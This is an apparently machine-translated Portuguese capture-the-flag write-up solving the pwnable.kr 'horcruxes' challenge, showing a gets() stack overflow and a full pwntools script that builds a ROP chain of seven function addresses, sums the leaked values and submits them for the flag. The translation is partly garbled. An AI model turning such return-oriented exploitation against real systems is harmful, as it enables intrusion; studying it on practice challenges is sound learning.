Resolução de problemas com pwnable.kr 21 - horcuxes. Programação orientada a retorno e cadeias ROP

imagem

Neste artigo, resolveremos a 21ª tarefa do site pwnable.kr , destinado a compilar a cadeia ROP.

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Solução para a missão horcruxes


Não vejo razão para descrever o que é programação orientada a reverso, pois este artigo descreve tudo em grande detalhe.

Clicamos no ícone de assinatura horcruxes e informamos que precisamos conectar via SSH com a senha de convidado.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Há um arquivo leia-me, vamos ver qual mensagem eles nos deixaram.

imagem

É relatado que o programa é executado na porta 9032. Não recebemos o código-fonte; portanto, faça o download do programa por conta própria.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/ 

imagem

Execute-o no IDA e descompile-o. Existem três funções interessantes: dica, init_ABCDEFG e ropme.

imagem

A julgar pelo nome, a função de dica deve conter uma dica. Vamos vê-la.

imagem

Dizem que você precisa passar por 7 níveis. Bem, vamos dar uma olhada no ropme.

imagem

Já é mais interessante. O programa lê o número e, se for igual a um determinado valor de referência, é chamada uma função que exibe esse valor. E então existem 7 significados.

imagem

Se não houver correspondências, será solicitado que você insira uma sequência que se compare com a variável sum. Então, vamos dar uma olhada em init_ABCDEFG.

imagem

É aqui que ocorre a inicialização dos valores de referência, que são gerados aleatoriamente. E soma é a soma desses números.

Nós resolvemos o programa. A dica de ferramenta da missão diz ROP. A idéia é a seguinte: precisamos chamar todas as 7 funções para conhecer os valores de referência e, em seguida, chamar ropme novamente para transferir a soma desses valores.

Graças à função gets, podemos reescrever o endereço de retorno com uma cadeia de endereços. Calculamos o número de bytes para o endereço de retorno.

imagem

Assim, precisamos transferir o programa, precisamos transferir 0x78 bytes do stub e, em seguida, 8 endereços de funções. Na AID, encontramos os endereços de nossas funções.

imagem

Agora vamos escrever uma exploração.
 rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n") 


imagem

Obtemos a flag desejada e concluímos a primeira parte das tarefas em pwnable.kr.

imagem

Você pode se juntar a nós no Telegram . Da próxima vez, trataremos do estouro de heap.

Source: https://habr.com/ru/post/pt463737/


All Articles